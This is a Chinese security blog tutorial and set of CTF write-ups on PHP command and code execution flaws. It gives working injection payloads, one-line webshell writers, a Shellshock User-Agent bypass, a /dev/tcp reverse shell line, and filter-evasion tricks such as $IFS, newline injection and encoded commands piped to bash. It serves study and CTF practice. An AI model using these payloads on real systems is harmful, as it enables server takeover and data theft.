文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-01-16   6.4k

Web安全基础学习之命令执行漏洞利用

命令执行漏洞的原理

应用程序有时需要调用一些执行系统命令的函数,比如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_open等函数可以执行系统命令。举个例子来说:后台代码这么写<?php system($_GET['cmd']); ?>,这里的cmd参数用户是可以控制的,那么我们就可以发送请求http://example.com/?cmd=ls来执行系统命令。

很多人喜欢把代码执行漏洞称为命令执行漏洞,因为命令执行漏洞可以执行系统命令,而代码执行漏洞也会执行系统命令,这样就比较容易混淆。它们之间的区别是:命令执行漏洞是直接调用操作系统命令,而代码执行漏洞则是靠执行代码脚本调用操作系统命令,比如:eval(system('set'))

命令执行漏洞的利用

利用条件:

  1. 代码中存在调用系统命令的函数,如exec、system等;
  2. 函数中存在我们可控的参数;
  3. 可控参数没有过滤或者过滤不严格。

比如下面的PHP代码段:

1
2
3
4
5
$uri = $request['uri'];
$from = $request['from'];
$to = $request['to'];
$tmp = '/tmp/act_css_tmp_'. $uri;
system('/usr/bin/wget $from -O $tmp');

$request变量来自用户URL的输入,最终进入到system函数里作为命令来执行,但是这段代码没有过滤用户的输入,所以可以通过如下的输入来利用命令执行漏洞:

1
?cmd=1190&func=sync_css&uri=hi&from=;cat /etc/passwd;&to=hi&1=2

命令执行漏洞可以有如下的利用:

  1. 存在回显的话,可以直接读入各种配置文件,密码文件,数据库连接文件等等;
  2. 不存在回显的时候,可以使用时间延迟推断,类似盲注的方法。通过一些命令的延时作用来判断漏洞的存在,例如ping命令;
  3. 不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果;
  4. 查看自己的权限,可以提升权限,访问敏感数据或控制服务器。

命令执行漏洞可利用的函数

1
2
3
4
5
6
7
8
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号

反引号

反引用的本质就是在操作系统执行该命令,此时可以造成命令注入等各种危害。

1
2
3
4
5
6
[[email protected] ~]# echo ls
ls
[[email protected] ~]# `echo ls`
vulhub-master
[[email protected] ~]# ls
vulhub-master

exec()/shell_exec()/passthru()

1
2
3
4
5
6
7
string exec ( string $command [, array &$output [, int &$return_var ]] )

string shell_exec ( string $cmd )

string escapeshellcmd ( string $command )

void passthru ( string $command [, int &$return_var ] )

这几个就不细说的,读名字都知道是执行shell命令,如果函数执行未过滤完善的可控参数,可以执行系统命令。

popen()/proc_open()/pcntl_exec()

1
2
3
4
5
resource popen ( string $command , string $mode )

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

其中popen()和proc_open()是不会直接返回执行结果的,而是返回一个文件指针,但是命令是已经执行了

代码执行漏洞可利用的函数

1
2
3
4
5
6
7
8
9
10
11
eval()

assert()

preg_replace()

create_function()

call_user_func()

ob_start()

eval()函数

eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

比如:

1
2
3
4
<?php
$str = @(string)$_GET['str'];
eval('$str='".addslashes($str)."';');
?>

利用方式:

1
index.php?str=${${phpinfo();}}

那么根据上面绕过过滤的方式我们就可以这样写入一句话代码了。

1
index.php?str=${${fputs(fopen('test.php','w+'),'<?php @eval(\$_POST['test'])?>')}}

assert()函数

示例代码:

1
2
3
4
<?php
$a = $_GET['a'];
assert($a);
?>

利用方式:

1
2
3
http://127.0.0.1/oscommand/1.php?a=phpinfo();

http://127.0.0.1/oscommand/1.php?a=phpinfo()

eval()和assert()区别
eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高

preg_replace()函数

示例代码:

1
2
3
<?php
preg_replace("//e", $GET['test'], "test...");
?>

当replacement 参数构成一个合理的php 代码字符串的时候,/e 修正符使preg_replace(),将replacement 参数当做php 代码执行。

案例:X7 Chat 2.0.5 preg_replace() PHP Code Execution

create_function()函数

在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。

示例代码:

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function(‘$a, $b’, $sort_function));
?>

首先构造出函数原型:

1
2
3
function test($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
}

根据这个,我们可以构造payload:

1
?sort_by=”]);}phpinfo();/*

传入后得到:

1
return 1 * strnatcasecmp($a[""]);}phpinfo();/*”], $b[""]);}phpinfo();/*”]);

很显然,经过/*注释符

我们剩下的只有:

1
2
3
function test($a,$b){
return 1 * strnatcasecmp($a[""]);}
phpinfo();

案例:WordPress <= 4.6.1 使用语言文件任意代码执行

call_user_func()函数

call_user_func(callable parameter [, mixed $… ]])把第一个参数作为回调函数调用。

示例代码:

1
2
3
<?php
call_user_func($_GET['a'],$_GET['b']);
?>

利用方式:

1
index.php?a=assert&b=phpinfo()

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

函数描述:此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

比如有如下代码:

1
2
3
4
5
$key = 'system';
ob_start($key);
echo 'ls -al';
ob_end_flush();
# -rw-r–r– 1 root root 0 Mar 12 06:46 tets

因为这里的$sky被作为输出的回调函数,而我们输入的ls -al在缓冲区,经过ob_end_flush()输出缓冲区后,可以得到system('ls -al'),这样的操作,所以成功执行了命令。

从CTF看命令执行漏洞的利用

bugku 本地包含

打开看到代码,两个要注意的点

在这里插入图片描述

第一个的意思就是不管你是post还是get传参,request都能获取到hello的值
第二个看到eval()命令执行函数,也就是说,eval可以执行括号内的php命令

如果可以构造一些可执行的php代码,则eval就会全部执行达到我们想要的目的,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
hello=);print_r(file(“flag.php”)

hello=);var_dump(file(“flag.php”)

hello=file(“flag.php”)

hello=file_get_contents(‘flag.php’)

hello=);include(@$_POST[‘b’]

- 在POST区域:b=php://filter/convert.base64-encode/resource=flag.php

hello=);include(“php://filter/convert.base64-encode/resource=flag.php”

hello=1);show_source(‘flag.php’);var_dump(

hello=1);show_source(%27flag.php%27);var_dump(3

分别会有什么样的结果呢:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eval( “var_dump();print_r(file(“flag.php”));”);

eval( “var_dump();var_dump(file(“flag.php”));”);

eval( “var_dump(file(“flag.php”));”);

eval( “var_dump(file_get_contents(‘flag.php’));”);

eval( “var_dump();include(@$_POST[‘b’]);”);

eval( “var_dump();include(“php://filter/convert.base64-encode/resource=flag.php”);”);

- b=php://filter/convert.base64-encode/resource=flag.php

eval( “var_dump(1);show_source(‘flag.php’);var_dump();”);

eval( “var_dump(1);show_source(%27flag.php%27);var_dump(3);”);

最终都可以get flag。

  • eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
  • file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
  • print_r() 函数只用于输出数组。
  • var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
  • hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
  • include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。

攻防世界 command execution

ping一个 127.0.0.1 | ls …/…/…/home
只执行后面半句,看到…/…/…/home目录下的所有文件,就看到了flag.txt

查看flag.txt 用cat命令 127.0.0.1 | cat …/…/…/home/flag.txt
就可以get flag

Windows:

| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux:

| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

hackme command executor

题目地址:command-executor——来源于 HackMe

题目涉及到的考察点:

  1. 文件包含读源码
  2. 代码分析(PHP,C)
  3. CVE shellshock
  4. 反弹shell
  5. Linux下输出输入重定向

首先题目提供了几个模块,第一个是man命令的帮助文档:

选择了bash参数发现多了一个file=bash的请求参数,尝试使用其他命令,比如:pwd

猜测eval("man /bin/" + command)或者一些其他的目录。

Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的内容。

Cmd Exec只能执行两个命令:lsenv

List Files可以列举几个目录。

再观察题目url的形式:https://command-executor.hackme.inndy.tw/index.php?func=untar等均带有func=xxx参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index读取文件内容,成功得到回显:

我们可以用下面这个脚本分别把主页和其他四个模块的PHP源码下载下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import codecs
import base64
from bs4 import BeautifulSoup
url="https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource="
file_list = ["index","man","untar","ls","cmd"]
for i in file_list:
res = requests.get(url+i)
print("dowload "+i)
if res.status_code==200:
res.encoding="utf8"
with codecs.open(i+".php","w+","utf8") as handle:
print("done")
text = BeautifulSoup(res.text,"lxml").text.split('\n')[0]
handle.write(base64.b64decode(text).decode('utf8'))

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="comic-neue/font.css" media="all">
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">Command Executor</a>

<ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
<li class="nav-item">
<a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
</ul>
</nav>

<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>

man.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function render() {
$file = 'man';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
if(preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}

echo '<h1>Online documents</h1>';

$cmds = [
'bash', 'ls', 'cp', 'mv'
];

echo '<ul>';
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
echo '</ul>';

printf('<h2>$ man %s</h2>', htmlentities($file));

echo '<pre>';
execute(sprintf('man %s | cat', escapeshellarg($file)));
echo '</pre>';
}
?>

untar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function render() {
?>
<h1>Tar file tester</h1>

<p>Please upload a tar file to test</p>

<form enctype="multipart/form-data" action="index.php?func=untar" method="POST">
<input type="file" name="tarfile" id="tarfile">
<input class="btn btn-primary" type="submit" value="Upload &amp; Test">
</form>

<?php

if(isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

echo '<pre>';
execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
echo '</pre>';
}
}
?>

cmd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function render() {
$cmd = '';
if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
}
echo '</ul>';
?>

<form action="index.php" method="GET">
<input type="hidden" name="func" value="cmd">
<div class="input-group">
<input class="form-control" type="text" name="cmd" id="cmd">
<div class="input-group-append">
<input class="btn btn-primary" type="submit" value="Execute">
</div>
</div>
</form>
<script>cmd.focus();</script>
<?php

if(strlen($cmd) > 0) {
printf('<h2>$ %s</h2>', htmlentities($cmd));

echo '<pre>';
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
echo '</pre>';
}
}
?>

ls.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function render() {
$file = '.';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
}

echo '<h1>Dictionary Traversal</h1>';

echo '<ul>';
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
echo '</ul>';

printf('<h2>$ ls %s</h2>', htmlentities($file));

echo '<pre>';
execute(sprintf('ls -l %s', escapeshellarg($file)));
echo '</pre>';
}
?>

接下来我们就可以利用ls.php来找flag了,因为ls.php没什么过滤,所以用func=ls&file=../../../可以发现根目录下的文件:

接下来就是考虑怎么读flagflag-readerflag-reader.c这三个文件了。

untar.php默认执行tar -tvf命令没有可利用的地方,man.php有用户可控制的参数file,但是preg_match('/^[\w\-]+$/', $file) !== 1限制的比较死,而cmd.php给出了env命令,显示了当前bash的环境变量,而且,在index.php中也有一个比较特殊的PHP函数putenv

比较容易让人想到也可以比较容易搜到ShellShock漏洞。

Bash破壳漏洞原理介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

关键就在putenv函数,由于ShellShock漏洞 padyload 需要参数,我们就可以利用putenv实现参数传递,直接设置User-agent: () { :;}; echo 222222,发现被 waf。

从最后一个foreach中可以看到,它会把以HTTP_开头的元素设置到环境变量中,在一次HTTP请求中,有如下字段符合要求:

HTTP_ACCEPT_LANGUAGE: zh-CN,zh;q=0.9

HTTP_ACCEPT_ENCODING: gzip, deflate, br

HTTP_SEC_FETCH_MODE: navigate

HTTP_SEC_FETCH_SITE: cross-site HTTP_ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

HTTP_SEC_FETCH_USER: ?1

HTTP_USER_AGENT: test

HTTP_UPGRADE_INSECURE_REQUESTS: 1

HTTP_CACHE_CONTROL: max-age=0

HTTP_CONNECTION: keep-alive

HTTP_HOST: localhost

这里面HTTP_USER_AGENT比较好利用。

查看这个正则表达式,发现可以在中间的};中间加一个空格绕过,即User-agent: () { : ;}; echo test

可以正常回显,再回来看那三个文件,flag需要root权限读,那么先从flag-reader.c下手,设置User-Agent: () { : ;}; cat /?lag-reader.c,发现flag被屏蔽,使用*通配符绕过:() { : ;}; /bin/cat /fla*.c,读到flag-reader.c文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

审计这个C源程序,大致原理就是:1秒之内把他输出的随机字符串再输入回去,就可以打出文件内容。

所以目标就是通过flag-reader flag命令来读取flag文件中的内容,我们可以通过反弹shell和重定向来达到这目的,我们将输出写到某个文件中,再自动输入即可。

先阿里云上监听11000端口,再利用shellshock漏洞执行() { : ; }; /bin/bash -i >& /dev/tcp/your ip/port 0>&1

反弹shell可以看这里

反弹shell这里卡了我一天的时间,命令应该是执行成功了,但是就是在阿里云主机上没有回显,最后发现不仅要配置安全组还要在centos上对开放这个端口的防火墙。

我们再去找可写目录,发现 /var/tmp具有写权限

我们再构造payload:() { : ; }; flag-reader flag > /var/tmp/ca01h < /var/tmp/ca01h,查看cat ca01h,得到flag:

命令执行的绕过方式

空格过滤

空格可以用以下字符代替:

%20(space)、%09(tab)、$IFS$9、 ${IFS}

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

一些命令分隔符

1
2
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(作为.bat文件中的命令分隔符)
  • 在 shell 中,担任连续指令功能的符号就是;
  • &放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个&实现这个目的。
  • 管道符"|"左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示。

我们来看一个实例,测试代码如下:

1
2
3
4
5
6
7
8
<?php
$file_name = $_GET["path"];
if(!preg_match("/^[\/a-zA-Z0-9-_\\s]+.rpt$/m", $file_name)) {
echo "regex failed";
} else {
echo exec("/usr/bin/file -i -b " . $file_name);
}
?>

这个程序的含义就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’。

攻击点在\\s正则过滤上,\\s 意思是匹配任何空白字符,何为空白字符,就是常见的[trnf] (Tab、回车、换行、换页)等特殊字符,这里换行符就很危险,换行符在其他场景可能没有风险,但是在shell环境下,就有可能造成命令注入,看看下面这段payload:

1
file%0aid%0a.rpt

%0a是URL编码后的换行符,在shell的环境中执行:

因为在shell环境中多个命令的分隔符除了;之外还有换行符,上述payload 传入shell之后,就变成两条命令执行:

1
2
3
file -i -b file%0A
id%0A
.rpt

所以就出现了打印id命令执行的内容。

要解决这个绕过可以把\\s直接换成空格,即preg_match("/^[\/a-zA-Z0-9-_ ]+.rpt$/m", $file_name),但是仍然可以构造payload来注入命令:

1
file.rpt%0aid

在php中,/m表示开启多行匹配模式,开启多行匹配模式之后^和$的含义就发生了变化,没开启多行模式之前(即单行匹配模式), ^ 和$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。

花括号的其他用法

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令:

黑名单绕过

拼接绕过

a=l;b=s;$a$b

直接参考一道代码审计的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<center>
<h2>calc</h2>

<?php
$str="";
if(!empty($_GET)){
$str=$_GET["calc"];
if(strpos($str,"#")!==false)
die;
if(strpos($str,"`")!==false)
die;
if(strpos($str,"flag")!==false)
die;
}
?>
<form action="./index.php">
input: <input type="text" name="calc" value="<?php echo $str;?>">
<input type="submit" value="Submit">
</form>

<?php
echo "result:".shell_exec("echo $str | bc");
?>
</center>

<?php
show_source(__FILE__);

这里过滤了"#、`“和"flag”

payload:?calc=1;a=fl;b=ag;cat $a$b;1

用字符串拼接绕过flag,用;绕过| bc

编码绕过

base64:

1
2
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex:

1
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct:

1
2
3
4
5
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过

1
ca''t flag

1
ca""t flag

反斜杠绕过

1
ca\t fla\g

Shell特殊变量绕过

变量 含义
$0 当前脚本的文件名
$n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$# 传递给脚本或函数的参数个数
$* 传递给脚本或函数的所有参数,而参数不存在时其值为空。
[email protected] 传递给脚本或函数的所有参数,而参数不存在时其值为空。被双引号包含时,与$*稍有不同
$? 上个命令的退出状态,或函数的返回值
$$ 当前shell进程ID

比如:[email protected] [email protected]

长度限制

https://www.freebuf.com/articles/web/154453.html

看这篇文章的时候对*v为什么等价于rev v很疑惑,后来知道了Bash 接收到命令以后,发现里面有通配符,会进行通配符扩展,然后再执行命令。也就是*v先扩展为rev v然后再执行。

通配符

有关命令通配符的教程:http://www.ruanyifeng.com/blog/2018/09/bash-wildcards.html

Copyright © ca01h 2019-2020 | 本站总访问量